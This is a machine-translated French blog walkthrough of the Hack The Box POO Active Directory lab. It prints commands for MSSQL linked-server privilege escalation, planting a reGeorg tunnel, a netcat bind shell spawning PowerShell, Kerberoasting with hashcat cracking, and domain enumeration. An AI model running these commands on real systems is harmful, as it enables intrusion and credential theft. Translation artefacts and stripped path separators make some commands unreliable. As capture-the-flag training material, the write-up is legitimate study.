HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Dans cet article, nous analyserons le passage non seulement d'une machine, mais de tout un mini-laboratoire depuis le site HackLaBox.

Comme indiqué dans la description, POO est conçu pour tester les compétences à toutes les étapes des attaques dans un petit environnement Active Directory. L'objectif est de compromettre un hôte disponible, d'augmenter les privilèges et éventuellement de compromettre l'ensemble du domaine en collectant 5 drapeaux au cours du processus.

La connexion au laboratoire se fait par VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur en état de marche ou d'un hôte où se trouvent des données importantes pour vous, car vous entrez dans un réseau privé avec des personnes qui connaissent quelque chose à la sécurité de l'information 🙂

informations organisationnelles
Afin que vous puissiez découvrir de nouveaux articles, logiciels et autres informations, j'ai créé Chaîne de télégramme и groupe pour discuter de tout problème dans le domaine de l'IIKB. Aussi vos demandes personnelles, questions, suggestions et recommandations Je vais regarder et répondre à tout le monde..

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quiconque à la suite de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

Introduction

Cette finale se compose de deux machines et contient 5 drapeaux.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

La description et l'adresse de l'hébergeur disponible sont également données.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Commençons!

Drapeau de reconnaissance

Cette machine a une adresse IP de 10.13.38.11 que j'ajoute à /etc/hosts.
10.13.38.11 poo.htb

La première étape consiste à analyser les ports ouverts. Comme il faut beaucoup de temps pour scanner tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP de l'interface tun0 à 500 pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Maintenant, pour obtenir des informations plus détaillées sur les services qui s'exécutent sur les ports, exécutons une analyse avec l'option -A.

nmap -A poo.htb -p80,1433

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Ainsi, nous avons les services IIS et MSSQL. Dans ce cas, nous trouverons le vrai nom DNS du domaine et de l'ordinateur. Sur le serveur Web, nous sommes accueillis par la page d'accueil d'IIS.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Parcourons les répertoires. J'utilise gobuster pour cela. Dans les paramètres, nous spécifions le nombre de flux 128 (-t), URL (-u), dictionnaire (-w) et extensions qui nous intéressent (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Ainsi, nous avons une authentification HTTP pour le répertoire /admin, ainsi que le fichier de stockage du service de bureau .DS_Store disponible. .DS_Store sont des fichiers qui stockent les paramètres utilisateur pour un dossier, tels qu'une liste de fichiers, l'emplacement de l'icône, l'image d'arrière-plan sélectionnée. Un tel fichier peut se retrouver dans le répertoire du serveur Web des développeurs Web. Ainsi, nous obtenons des informations sur le contenu du répertoire. Pour cela, vous pouvez utiliser Robot d'exploration DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Nous obtenons le contenu du répertoire. La chose la plus intéressante ici est le répertoire /dev, à partir duquel nous pouvons voir les sources et les fichiers db dans deux branches. Mais nous pouvons utiliser les 6 premiers caractères des noms de fichiers et de répertoires si le service est vulnérable à IIS ShortName. Vous pouvez vérifier cette vulnérabilité en utilisant Analyseur de noms abrégés IIS.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Et nous trouvons un fichier texte qui commence par "poo_co". Ne sachant pas quoi faire ensuite, j'ai simplement sélectionné dans le dictionnaire des annuaires tous les mots qui commencent par "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Et itérer avec wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Et trouvez le bon mot ! Nous regardons ce fichier, enregistrons les informations d'identification (à en juger par le paramètre DBNAME, elles proviennent de MSSQL).

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

On passe le drapeau, et on avance de 20 %.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Hein drapeau

Nous nous connectons à MSSQL, j'utilise DBeaver.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Nous ne trouvons rien d'intéressant dans cette base de données, créons un éditeur SQL et vérifions quels sont les utilisateurs.

SELECT name FROM master..syslogins;

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Nous avons deux utilisateurs. Vérifions nos privilèges.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Ainsi, il n'y a pas de privilèges. Voyons les serveurs liés, j'ai écrit sur cette technique en détail ici.

SELECT * FROM master..sysservers;

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Nous trouvons donc un autre SQL Server. Vérifions l'exécution des commandes sur ce serveur en utilisant openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Et nous pouvons même construire un arbre de requête.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Le fait est que lorsque nous faisons une demande à un serveur lié, la demande est exécutée dans le contexte d'un autre utilisateur ! Voyons quel contexte utilisateur nous exécutons sur le serveur lié.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Et maintenant voyons dans quel contexte la requête du serveur lié au nôtre est exécutée !

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Ainsi, c'est un contexte DBO qui doit avoir tous les privilèges. Vérifions les privilèges en cas de requête d'un serveur lié.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Comme vous pouvez le voir, nous avons tous les privilèges ! Créons notre admin comme ceci. Mais ils ne les laissent pas passer par openquery, faisons-le via EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Et maintenant, nous nous connectons avec les informations d'identification du nouvel utilisateur, observons la nouvelle base de données de drapeaux.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Nous remettons ce drapeau et allons plus loin.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Indicateur de retour en arrière

Obtenons le shell en utilisant MSSQL, j'utilise mssqlclient du package impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Nous devons obtenir des mots de passe, et la première chose que nous avons déjà rencontrée est le site. Ainsi, nous avons besoin d'une configuration de serveur Web (il est impossible de lancer un shell pratique, apparemment le pare-feu fonctionne).

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Mais l'accès est refusé. Bien que nous puissions lire le fichier à partir de MSSQL, nous avons juste besoin de savoir quels langages de programmation sont configurés. Et dans le répertoire MSSQL, nous découvrons qu'il y a Python.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Ensuite, il n'y a aucun problème pour lire le fichier web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Une fois les informations d'identification trouvées, accédez à /admin et récupérez le drapeau.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

drapeau de pied

En effet, il y a quelques désagréments à utiliser un pare-feu, mais en regardant dans les paramètres réseau, on remarque que le protocole IPv6 est également utilisé !

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Ajoutez cette adresse à /etc/hosts.
dead:babe::1001 poo6.htb
Analysons à nouveau l'hôte, mais cette fois sur IPv6.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Et le service WinRM est disponible sur IPv6. Connectons-nous avec les informations d'identification trouvées.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Il y a un drapeau sur le bureau, remettez-le.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Drapeau P00ned

Après reconnaissance sur l'hôte avec petits pois nous ne trouvons rien de spécial. Ensuite, il a été décidé de rechercher à nouveau des informations d'identification (j'ai également écrit sur ce sujet статью). Mais je n'ai pas pu obtenir tous les SPN du système via WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Exécutons la commande via MSSQL.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

De cette façon, nous obtenons le SPN des utilisateurs p00_hr et p00_adm, ce qui signifie qu'ils sont vulnérables à une attaque telle que Kerberoasting. En bref, nous pouvons obtenir les hachages de leurs mots de passe.

Vous devez d'abord obtenir un shell stable au nom de l'utilisateur MSSQL. Mais comme nous sommes limités en accès, nous avons une connexion avec l'hôte uniquement via les ports 80 et 1433. Mais il est possible de tunneliser le trafic via le port 80 ! Pour cela nous utilisons prochaine candidature. Téléchargeons le fichier tunnel.aspx dans le répertoire personnel du serveur Web - C: inetpubwwwroot.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Mais lorsque nous essayons d'y accéder, nous obtenons une erreur 404. Cela signifie que les fichiers *.aspx ne sont pas exécutés. Pour exécuter des fichiers avec ces extensions, installez ASP.NET 4.5 comme suit.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Et maintenant, lors de l'accès à tunnel.aspx, nous obtenons la réponse que tout est prêt à fonctionner.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Démarrons la partie client de l'application, qui va relayer le trafic. Nous transmettrons tout le trafic du port 5432 au serveur.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Et nous utilisons des proxychains pour envoyer le trafic de n'importe quelle application via notre proxy. Ajoutons ce proxy au fichier de configuration /etc/proxychains.conf.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Maintenant téléchargeons le programme sur le serveur netcat, avec lequel nous allons créer un shell de liaison stable, et le script Invoquer Kerberoast, avec lequel nous allons effectuer l'attaque Kerberoasting.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Maintenant, via MSSQL, nous lançons l'écouteur.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Et nous nous connectons via notre proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Et obtenons les hachages.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Ensuite, vous devez parcourir ces hachages. Puisque rockyou n'avait pas de dictionnaire de données de mots de passe, j'ai utilisé TOUS les dictionnaires de mots de passe fournis dans Seclists. Pour l'énumération, nous utilisons hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Et nous trouvons les deux mots de passe, le premier dans le dictionnaire dutch_passwordlist.txt, et le second dans Keyboard-Combinations.txt.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Et donc nous avons trois utilisateurs, nous allons au contrôleur de domaine. Découvrons d'abord son adresse.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Super, nous avons appris l'adresse IP du contrôleur de domaine. Découvrons tous les utilisateurs du domaine, ainsi que lequel d'entre eux est administrateur. Pour télécharger le script pour obtenir des informations PowerView.ps1. Ensuite, nous nous connecterons en utilisant evil-winrm, en spécifiant le répertoire avec le script dans le paramètre -s. Et puis chargez simplement le script PowerView.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Maintenant, nous avons accès à toutes ses fonctions. L'utilisateur p00_adm ressemble à un utilisateur privilégié, nous allons donc travailler dans son contexte. Créons un objet PSCredential pour cet utilisateur.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Désormais, toutes les commandes Powershell où nous spécifions Creds seront exécutées au nom de p00_adm. Affichons une liste d'utilisateurs et l'attribut AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Et donc, notre utilisateur est vraiment privilégié. Voyons à quels groupes il appartient.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Nous confirmons enfin que l'utilisateur est un administrateur de domaine. Cela lui donne le droit de se connecter à distance au contrôleur de domaine. Essayons de nous connecter avec WinRM en utilisant notre tunnel. J'étais confus par les erreurs émises par reGeorg lors de l'utilisation de evil-winrm.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Ensuite, nous en utilisons un autre, plus facile, scénario pour vous connecter à WinRM. Ouvrir et modifier les paramètres de connexion.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Nous essayons de nous connecter, et nous sommes dans le système.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Mais il n'y a pas de drapeau. Ensuite, regardez l'utilisateur et vérifiez les bureaux.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

Chez mr3ks nous retrouvons le drapeau et le laboratoire est terminé à 100%.

HackTheBoxfin de partie. Passage du laboratoire Opérations Offensives Professionnelles. Pentest Active Directory

C'est tout. En guise de commentaires, indiquez si cet article vous a appris quelque chose de nouveau et s'il vous a été utile.

Vous pouvez nous rejoindre au Telegram. Vous y trouverez des matériaux intéressants, des cours fusionnés, ainsi que des logiciels. Rassemblons une communauté dans laquelle il y aura des personnes qui comprennent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.

Source: habr.com

Ajouter un commentaire